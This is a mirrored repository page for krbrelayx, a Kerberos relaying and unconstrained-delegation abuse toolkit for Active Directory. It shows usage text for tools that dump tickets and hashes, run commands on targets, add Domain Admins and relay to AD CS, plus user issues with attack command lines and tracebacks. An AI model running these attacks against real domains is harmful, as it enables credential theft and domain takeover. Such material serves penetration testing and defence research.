Giter Club home page Giter Club logo

krbrelayx's Introduction

Krbrelayx - Kerberos relaying and unconstrained delegation abuse toolkit

Toolkit for abusing Kerberos. Requires impacket, ldap3 and dnspython to function. It is recommended to install impacket from git directly to have the latest version available.

More info about this toolkit available in my blog https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/. Information about Kerberos relaying in the follow-up blog https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/.

Tools included

addspn.py

This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP.

usage: addspn.py [-h] [-u USERNAME] [-p PASSWORD] [-t TARGET] -s SPN [-r] [-q]
                 [-a]
                 HOSTNAME

Add an SPN to a user/computer account

Required options:
  HOSTNAME              Hostname/ip or ldap://host:port connection string to
                        connect to

Main options:
  -h, --help            show this help message and exit
  -u USERNAME, --user USERNAME
                        DOMAIN\username for authentication
  -p PASSWORD, --password PASSWORD
                        Password or LM:NTLM hash, will prompt if not specified
  -t TARGET, --target TARGET
                        Computername or username to target (FQDN or COMPUTER$
                        name, if unspecified user with -u is target)
  -s SPN, --spn SPN     servicePrincipalName to add (for example:
                        http/host.domain.local or cifs/host.domain.local)
  -r, --remove          Remove the SPN instead of add it
  -q, --query           Show the current target SPNs instead of modifying
                        anything
  -a, --additional      Add the SPN via the msDS-AdditionalDnsHostName
                        attribute

dnstool.py

Add/modify/delete Active Directory Integrated DNS records via LDAP.

usage: dnstool.py [-h] [-u USERNAME] [-p PASSWORD] [--forest] [--legacy] [--zone ZONE]
                  [--print-zones] [--tcp] [-k] [-dc-ip ip address] [-dns-ip ip address]
                  [-aesKey hex key] [-r TARGETRECORD]
                  [-a {add,modify,query,remove,resurrect,ldapdelete}] [-t {A}] [-d RECORDDATA]
                  [--allow-multiple] [--ttl TTL]
                  HOSTNAME

Query/modify DNS records for Active Directory integrated DNS via LDAP

Required options:
  HOSTNAME              Hostname/ip or ldap://host:port connection string to
                        connect to

Main options:
  -h, --help            show this help message and exit
  -u USERNAME, --user USERNAME
                        DOMAIN\username for authentication.
  -p PASSWORD, --password PASSWORD
                        Password or LM:NTLM hash, will prompt if not specified
  --forest              Search the ForestDnsZones instead of DomainDnsZones
  --zone ZONE           Zone to search in (if different than the current
                        domain)
  --print-zones         Only query all zones on the DNS server, no other
                        modifications are made

Record options:
  -r TARGETRECORD, --record TARGETRECORD
                        Record to target (FQDN)
  -a {add,modify,query,remove,ldapdelete}, --action {add,modify,query,remove,ldapdelete}
                        Action to perform. Options: add (add a new record),
                        modify (modify an existing record), query (show
                        existing), remove (mark record for cleanup from DNS
                        cache), delete (delete from LDAP). Default: query
  -t {A}, --type {A}    Record type to add (Currently only A records
                        supported)
  -d RECORDDATA, --data RECORDDATA
                        Record data (IP address)
  --allow-multiple      Allow multiple A records for the same name
  --ttl TTL             TTL for record (default: 180)

printerbug.py

Simple tool to trigger SpoolService bug via RPC backconnect. Similar to dementor.py. Thanks to @agsolino for implementing these RPC calls.

usage: printerbug.py [-h] [-target-file file] [-port [destination port]]
                     [-hashes LMHASH:NTHASH] [-no-pass]
                     target attackerhost

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  attackerhost          hostname to connect to

optional arguments:
  -h, --help            show this help message and exit

connection:
  -target-file file     Use the targets in the specified file instead of the
                        one on the command line (you must still specify
                        something as target name)
  -port [destination port]
                        Destination port to connect to SMB Server

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful when proxying through
                        ntlmrelayx)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target
                        parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful
                        when target is the NetBIOS name or Kerberos name and you cannot resolve it

krbrelayx.py

This tool has multiple use options:

  • Kerberos relaying: When no credentials are supplied, but at least one target is specified, krbrelayx will forward the Kerberos authentication to a matching target hostname, effectively relaying the authentication. How to get incoming Kerberos auth with a valid SPN is up to you, but you could use mitm6 for this.
  • Unconstrained delegation abuse: In this mode, krbrelayx will either decrypt and dump incoming TGTs embedded in authentication with unconstrained delegation, or immediately use the TGTs to authenticate to a target service. This requires that credentials for an account with unconstrained delegation are specified.
usage: krbrelayx.py [-h] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w] [-ip INTERFACE_IP] [-r SMBSERVER] [-l LOOTDIR]
                    [-f {ccache,kirbi}] [-codec CODEC] [-no-smb2support] [-wh WPAD_HOST] [-wa WPAD_AUTH_NUM] [-6] [-p PASSWORD]
                    [-hp HEXPASSWORD] [-s USERNAME] [-hashes LMHASH:NTHASH] [-aesKey hex key] [-dc-ip ip address] [-e FILE]
                    [-c COMMAND] [--enum-local-admins] [--no-dump] [--no-da] [--no-acl] [--no-validate-privs]
                    [--escalate-user ESCALATE_USER] [--add-computer] [--delegate-access] [--adcs] [--template TEMPLATE]
                    [-v TARGET]

Kerberos relay and unconstrained delegation abuse tool. By @_dirkjan / dirkjanm.io

Main options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -t TARGET, --target TARGET
                        Target to attack, since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If
                        unspecified, will store tickets for later use.
  -tf TARGETSFILE       File that contains targets by hostname or full URL, one per line
  -w                    Watch the target file for changes and update target list automatically (only valid with -tf)
  -ip INTERFACE_IP, --interface-ip INTERFACE_IP
                        IP address of interface to bind SMB and HTTP servers
  -r SMBSERVER          Redirect HTTP requests to a file:// path on SMBSERVER
  -l LOOTDIR, --lootdir LOOTDIR
                        Loot directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).
  -f {ccache,kirbi}, --format {ccache,kirbi}
                        Format to store tickets in. Valid: ccache (Impacket) or kirbi (Mimikatz format) default: ccache
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run
                        chcp.com at the target, map the result with https://docs.python.org/2.4/lib/standard-encodings.html and
                        then execute ntlmrelayx.py again with -codec and the corresponding codec
  -no-smb2support       Disable SMB2 Support
  -wh WPAD_HOST, --wpad-host WPAD_HOST
                        Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host to the one supplied.
  -wa WPAD_AUTH_NUM, --wpad-auth-num WPAD_AUTH_NUM
                        Prompt for authentication N times for clients without MS16-077 installed before serving a WPAD file.
  -6, --ipv6            Listen on both IPv6 and IPv4

Kerberos Keys (of your account with unconstrained delegation):
  -p PASSWORD, --krbpass PASSWORD
                        Account password
  -hp HEXPASSWORD, --krbhexpass HEXPASSWORD
                        Hex-encoded password
  -s USERNAME, --krbsalt USERNAME
                        Case sensitive (!) salt. Used to calculate Kerberos keys.Only required if specifying password instead
                        of keys.
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target
                        parameter

SMB attack options:
  -e FILE               File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be
                        in the same directory)
  -c COMMAND            Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in
                        the same directory).
  --enum-local-admins   If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)

LDAP attack options:
  --no-dump             Do not attempt to dump LDAP information
  --no-da               Do not attempt to add a Domain Admin
  --no-acl              Disable ACL attacks
  --no-validate-privs   Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL
                        attacks
  --escalate-user ESCALATE_USER
                        Escalate privileges of this user instead of creating a new one
  --add-computer        Attempt to add a new computer account
  --delegate-access     Delegate access on relayed computer account to the specified account

AD CS attack options:
  --adcs                Enable AD CS relay attack
  --template TEMPLATE   AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC
                        should require specifying `DomainController`
  -v TARGET, --victim TARGET
                        Victim username or computername$, to request the correct certificate name.

TODO:

  • Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with -k
  • Conversion tool from/to ccache/kirbi
  • SMB1 support in the SMB relay server

krbrelayx's People

Contributors

0x5ecf4ult avatar 4ndr34z avatar dirkjanm avatar i128 avatar laxa avatar lz1y avatar mrale98 avatar pm-syn avatar ramzeth avatar rtpt-erikgeiser avatar shutdownrepo avatar tw1sm avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

krbrelayx's Issues

Question/Feature: Relaying DNS and HTTP Authentication to LDAP By Modifying the Client Integrity Flag

I wanted to say first this is a great tool, I use it all the time, and I appreciate all the work and research that went into it!

Overall, my question is about whether it's possible to relay DNS, HTTP, or other authentication that maps implicitly to the HOST class to high value services that also map to the HOST class (ideally LDAP or SMB if they do) and don't require signing by modifying the value of the client's integrity flag.

My question harkens back to a couple statements you made in part two of your Kerberos relaying articles:

  1. You can't relay DNS authentication to LDAP because the flag that requests integrity (signing) is set by the client.
  2. You can relay DNS authentication to HTTP because it ignores the flag and both services map to the HOST class.

Part 1: Is it possible to relay any service that maps to the HOST class to services where signing is optional (again I'm thinking LDAP and SMB) by sniffing, modifying, and relaying traffic between a victim and a target and specifically modifying the value of the integrity flag so the client is not requesting signing? This is my understanding of what Krbjack is doing here: https://github.com/almandin/krbjack/blob/d4bdd9a3b61303eda5dbc614f3448a8b469c0e53/krbjack/tcpforward.py#L37

Part 2: You say in your article 'many' services map to the HOST class. Do you know of a list of services that do this? I'm wondering specifically about those with obvious attacks that lead to privilege escalation (like SMB or LDAP) but also others. I couldn't find a list of all the services that map to the HOST class anywhere, including in the referenced project zero articles.

If my understanding is correct and there are high value services that map to the HOST class and don't require signing by default, then relaying to these services is a feature I would like to see and would do my best to help implement. Thanks!

Error with dnstool.py remove

Hi @dirkjanm,

Per our conversation...I am creating this issue. FYI, I first ran ldapdelete, which seemed to work perfectly:

[+] Bind OK
[-] Modifying record
[+] LDAP operation completed successfully

After I ran ldapdelete, I used remove and I got this error:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Target has only one record, tombstoning it
Traceback (most recent call last):
  File "dnstool.py", line 536, in <module>
    main()
  File "dnstool.py", line 516, in main
    'dNSTombstoned': [(MODIFY_REPLACE, True)]})
  File "/usr/local/lib/python3.6/dist-packages/ldap3/core/connection.py", line 1140, in modify
    request = modify_operation(dn, changelist, self.auto_encode, self.server.schema if self.server else None, validator=self.server.custom_validator if self.server else None, check_names=self.check_names)
  File "/usr/local/lib/python3.6/dist-packages/ldap3/operation/modify.py", line 70, in modify_operation
    partial_attribute['vals'].setComponentByPosition(index, prepare_for_sending(validate_attribute_value(schema, attribute, value, auto_encode, validator, check_names=check_names)))
  File "/usr/local/lib/python3.6/dist-packages/pyasn1/type/univ.py", line 1920, in setComponentByPosition
    value = componentType.clone(value=value)
  File "/usr/local/lib/python3.6/dist-packages/pyasn1/type/base.py", line 376, in clone
    return self.__class__(value, **initializers)
  File "/usr/local/lib/python3.6/dist-packages/pyasn1/type/univ.py", line 837, in __init__
    base.SimpleAsn1Type.__init__(self, value, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pyasn1/type/base.py", line 267, in __init__
    value = self.prettyIn(value)
  File "/usr/local/lib/python3.6/dist-packages/pyasn1/type/univ.py", line 912, in prettyIn
    return bytes(value)
  File "/usr/local/lib/python3.6/dist-packages/impacket/structure.py", line 166, in __getitem__
    return self.fields[key]
KeyError: 0

Hopefully, I cleaned up my A record in the right order :). Thanks again for your help!

Error running krelayx - problem with arguments

Using latest version of impacket, when running krbrelayx I get the following error

python krbrelayx.py
[] Protocol Client SMB loaded..
[
] Protocol Client LDAPS loaded..
[] Protocol Client LDAP loaded..
[
] Running in export mode (all tickets will be saved to disk)
Traceback (most recent call last):
File "krbrelayx.py", line 242, in
main()
File "krbrelayx.py", line 222, in main
c = start_servers(options, threads)
File "krbrelayx.py", line 83, in start_servers
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user)
TypeError: setLDAPOptions() takes exactly 8 arguments (6 given)

Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider

Hello Dirk,

I get the "Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider" in the last step when I try to authenticate with printer-bug and DFSCoerce. I could not find what the issue was. I have followed the below steps.

  1. DC - 2016
  2. Attacker- Kali
  3. Unconstrained delegation machine- Windows 10

Step - 1
I got the AES-256 and 128 as well as NTHash of the machine account by running secretsdump.py

Step - 2
Queried for the SPN

image

Step - 3
Added SPN record
image

Step - 4
Added DNS record
image

Step-5
A record
image

Step- 6
nslookup verification
image

Step - 7
Printer Bug

image

DFSCoerce
image

Step - 8
Krbrelayx setup

image

Ultimately, I got the 'NTLMSSP - Microsoft NTLM Security Support Provider' error.

I could not find figure out what the issue is

ImportError: No module named targetsutils

The targetsutils.py is missing from the /lib/utils/ folder! So, when you run the krbrelayx.py you get the following error:

ImportError: No module named targetsutils

However, this can be easily resolved by copying impacket's targetsutils.py under your project's folder /lib/utils/.

Connection reset by peer when adding a DNS record with dnstool.py

Hello,

here is what happens when I try adding a record using dnstool.py (of course replacing the values for DOMAIN, USER, PASSWORD):

python3 /opt/krbrelayx/dnstool.py -u 'DOMAIN\USER' -p 'PASSWORD' --record 'kali' --action add --data 192.168.50.59 SRV-AD-02

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 82, in receiving
    data = self.connection.socket.recv(self.socket_size)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ConnectionResetError: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/krbrelayx/dnstool.py", line 610, in <module>
    main()
  File "/opt/krbrelayx/dnstool.py", line 538, in main
    c.add(record_dn, ['top', 'dnsNode'], node_data)
  File "/usr/local/lib/python3.11/dist-packages/ldap3/core/connection.py", line 987, in add
    response = self.post_send_single_response(self.send('addRequest', request, controls))
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 121, in post_send_single_response
    responses, result = self.get_response(message_id)
                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/base.py", line 356, in get_response
    responses = self._get_response(message_id, timeout)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 157, in _get_response
    responses = self.receiving()
                ^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 92, in receiving
    raise communication_exception_factory(LDAPSocketReceiveError, type(e)(str(e)))(self.connection.last_error)
ldap3.core.exceptions.LDAPSocketReceiveError: error receiving data: [Errno 104] Connection reset by peer

After that, I am not able to make a simple connection to the DC using cme/nxc...

It is the use of dnstool.py that creates this situation, no other tool does that. What could I provide you with to help you troubleshoot?

why is that

[] Protocol Client LDAP loaded..
[
] Protocol Client LDAPS loaded..
[] Protocol Client SMB loaded..
[
] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded..
[
] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
Traceback (most recent call last):
File "/root/桌面/krbrelayx-master/krbrelayx.py", line 261, in
main()
File "/root/桌面/krbrelayx-master/krbrelayx.py", line 241, in main
c = start_servers(options, threads)
File "/root/桌面/krbrelayx-master/krbrelayx.py", line 97, in start_servers
s = server(c)
File "/root/桌面/krbrelayx-master/lib/servers/smbrelayserver.py", line 89, in init
self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig)
File "/usr/lib/python3/dist-packages/impacket/smbserver.py", line 3941, in init
socketserver.TCPServer.init(self, server_address, handler_class)
File "/usr/lib/python3.9/socketserver.py", line 452, in init
self.server_bind()
File "/usr/lib/python3.9/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 99] Cannot assign requested address

Could not modify object, the server reports insufficient rights

When relaying a printerbug.py connection from one domain controller to another I get to the end of the attack and am met with the following message:

[-] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150E49, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

I attempted to perform the attack against ldap (specifying an existing computer account) and ldaps. I am led to believe that this means these domain controllers are not vulnerable and have likely been patched.

Is this assumption correct? I just wanted to double check because it seems odd that I can drop the mic successfully but cannot modify computer/user objects.

Either way- thanks for putting together these attacks!

RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE while executing printerbug.py script

Hello,

I'm getting the following error with one of the server with unconstrained delegation. Check and confirmed that RPC is started and running on the server. Tried switching off the firewall as well.

python printerbug.py -hashes domain/machine account$@hostname test.domain

[*] Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[] Attempting to trigger authentication via rprn RPC at
[
] Bind OK
[] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[
] Triggered RPC backconnect, this may or may not have worked

python krbrelayx.py -aesKey <>

[] Protocol Client LDAPS loaded..
[
] Protocol Client LDAP loaded..
[] Protocol Client SMB loaded..
[
] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server

[] Setting up HTTP Server
[
] Servers started, waiting for connections
[] SMBD: Received connection from 192.168.0.1
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[
] SMBD: Received connection from 192.168.0.1

Could you please guide me like what could be wrong. Is it something related to the impacket version i'm using.

ADDSPN error

Hello,
I'm getting the following error when trying to run the addspn.py script on the host with unconstrained delegation

python addspn.py -u <machine account$> -p -s HOST/test.internal.corp -q DC

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
Traceback (most recent call last):
File "addspn.py", line 144, in
main()
File "addspn.py", line 104, in main
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
ImportError: No module named ldaptypes

python3 addspn.py -u <machine account$> -p -s HOST/test.internal.corp -q DC
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
Traceback (most recent call last):
File "addspn.py", line 144, in
main()
File "addspn.py", line 104, in main
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
File "", line 983, in _find_and_load
File "", line 963, in _find_and_load_unlocked
File "", line 906, in _find_spec
File "", line 1280, in find_spec
File "", line 1254, in _get_spec
File "", line 1235, in _legacy_get_spec
File "", line 441, in spec_from_loader
File "", line 594, in spec_from_file_location
File "/usr/local/lib/python3.7/dist-packages/impacket-0.9.19-py3.7.egg/impacket/ldap/ldaptypes.py", line 192
GENERIC_READ = 0x80000000L
^
SyntaxError: invalid syntax

Using impacket version 0.9.19

Tried installing the python dependencies
apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev

and pip3 install pyldap

and pip3 install python-ldap

TypeError: initConnection() takes 1 positional argument but 3 were given

I am getting the following error when trying kerberos relaying:

[*] DNS: Client sent authorization

Exception happened during processing of request from ('10.191.128.155', 53073)
Traceback (most recent call last):
File "/usr/lib/python3.8/socketserver.py", line 683, in process_request_thread
self.finish_request(request, client_address)
File "/usr/lib/python3.8/socketserver.py", line 360, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python3.8/socketserver.py", line 747, in init
self.handle()
File "/home/ubuntu/krbrelayx/lib/servers/dnsrelayserver.py", line 54, in handle
self.do_relay(authdata)
File "/home/ubuntu/krbrelayx/lib/servers/dnsrelayserver.py", line 68, in do_relay
client.initConnection(authdata, self.server.config.dcip)
TypeError: initConnection() takes 1 positional argument but 3 were given
----------------------------------------`

For the sake of completness, I have installed the latest impacket, ldap3, dnspython and pulled the most recent krbrelayx.

I appreciate greatly any hints or tips on this.

Crash on Cyrillic domain

I got the following error when attempting a login with printerbug.py on a Cyrillic domain, is it possible this is related to this issue or am I completely wrong here? New to the Impacket library so forgive me if this is off base.

Issue in question: fortra/impacket#51

Output:

python printerbug.py DOMAIN\user:[email protected] attacker

[] Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[
] Attempting to trigger authentication via rprn RPC at machine.domain.local
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
Traceback (most recent call last):
File "printerbug.py", line 198, in
main()
File "printerbug.py", line 191, in main
lookup.dump(remote_name)
File "printerbug.py", line 77, in dump
self.lookup(rpctransport, remote_host)
File "printerbug.py", line 87, in lookup
dce.connect()
File "/usr/local/lib/python2.7/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 800, in connect
return self._transport.connect()
File "/usr/local/lib/python2.7/dist-packages/impacket/dcerpc/v5/transport.py", line 400, in connect
self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
File "/usr/local/lib/python2.7/dist-packages/impacket/smbconnection.py", line 547, in openFile
raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

python3.8 compatibility issue: TypeError: Missing required parameter 'digestmod'.

dnstool no longer runs with python 3.8

[-] Connecting to host...
[-] Binding to host
Traceback (most recent call last):
  File "./dnstool.py", line 536, in <module>
    main()
  File "./dnstool.py", line 364, in main
    if not c.bind():
  File "/usr/local/lib/python3.8/dist-packages/ldap3/core/connection.py", line 563, in bind
    response = self.do_ntlm_bind(controls)
  File "/usr/local/lib/python3.8/dist-packages/ldap3/core/connection.py", line 1302, in do_ntlm_bind
    request = bind_operation(self.version, 'SICILY_RESPONSE_NTLM', ntlm_client, result['server_creds'])
  File "/usr/local/lib/python3.8/dist-packages/ldap3/operation/bind.py", line 81, in bind_operation
    server_creds = name.create_authenticate_message()
  File "/usr/local/lib/python3.8/dist-packages/ldap3/utils/ntlm.py", line 379, in create_authenticate_message
    nt_challenge_response = self.compute_nt_response()
  File "/usr/local/lib/python3.8/dist-packages/ldap3/utils/ntlm.py", line 485, in compute_nt_response
    response_key_nt = self.ntowf_v2()
  File "/usr/local/lib/python3.8/dist-packages/ldap3/utils/ntlm.py", line 497, in ntowf_v2
    return hmac.new(password_digest, (self.user_name.upper() + self.user_domain).encode('utf-16-le')).digest()
  File "/usr/lib/python3.8/hmac.py", line 153, in new
    return HMAC(key, msg, digestmod)
  File "/usr/lib/python3.8/hmac.py", line 51, in __init__
    raise TypeError("Missing required parameter 'digestmod'.")
TypeError: Missing required parameter 'digestmod'.

Printer bug doesn't work

Hello help me please ; I'am read blog;
Use secretsdump,get account machine(computer.test.com) aes256 key & lm:ntlm hashes;
Add dns A record for my attacker machine. For ex. attacker.test.com
python krbrelayx.py -aesKEY "aes256key"
python printerbug.py -hashes lm:ntlm test.com/[email protected] attacker.test.com
printerbug output:
[] Attempting to trigger authentication via rprn RPC at primary-dc.test.com
[
] Bind OK
[] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[
] Triggered RPC backconnect, this may or ma not have worked

krbrelayx output:
Procotol client ldaps loaded..
Procotol client ldap loaded..
Procotol client smb loaded..

SMBD: Received connection from "ip address primary-dc.test.com"
Unsupported MechType 'NTLMSSP - MICROSOFT NTLM Security Support Provider'
SMBD: Received connection from "ip address primary-dc.test.com"
Unsupported MechType 'NTLMSSP - MICROSOFT NTLM Security Support Provider'
SMBD: Received connection from "ip address primary-dc.test.com"
Unsupported MechType 'NTLMSSP - MICROSOFT NTLM Security Support Provider'

Computer.test.com =Windows 7
primary-dc.test.com = Windows 2012 server
attacker.test.com = kali

"Could not find the correct encryption key! Ticket is encrypted with keytype 18, but keytype(s) were supplied"

Hi,

I can successfully perform the ADCS attack that you describe here. However, once I try for example targeting LDAPS on a DC in order to add a computer account it always fails with the error "Could not find the correct encryption key! Ticket is encrypted with keytype 18, but keytype(s) were supplied".

This is how I configure mitm6:
mitm61

After this I disable then reenable the NIC on the machine I MITM using mitm6 (client1.adlab.local/10.0.0.210) in order for the machine to be MITM.

This is how I trigger a Kerberos authentication on the machine I MITM using mitm6 (client1.adlab.local/10.0.0.210):
mitm63

This is how I configure krbrelayx and the error I get:
mitm62

The DC is running a fully patched Server 2019 and the client is running a fully patched Windows 10.

Is this a bug or am I doing something wrong?

AttributeError: 'Resolver' object has no attribute 'resolve'

Help!

I have all the dependencies installed. But it is not working as expected.
I am getting the following error

dnstool.py -u intelligence\\Tiffany.Molina -p SOMEPASSWORD --action add --record web-kali --data 10.10.17.81 --type A intelligence.htb

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
Traceback (most recent call last):
  File "dnstool.py", line 543, in <module>
    main()
  File "dnstool.py", line 465, in main
    record = new_record(addtype, get_next_serial(args.host, zone,args.tcp))
  File "dnstool.py", line 242, in get_next_serial
    res = dnsresolver.resolve(zone, 'SOA',tcp=tcp)
AttributeError: 'Resolver' object has no attribute 'resolve'

dnstool error

While i do succeed in creating new records with powermad i am getting the following error with dnstool:

LDAP operation failed. Message returned from server: constraintViolation 000020B5: AtrErr: DSID-03152B47, #1: 0: 000020B5: DSID-03152B47, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 9030e (objectCategory)

Is there a difference on how the records are set or PEBKAC?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.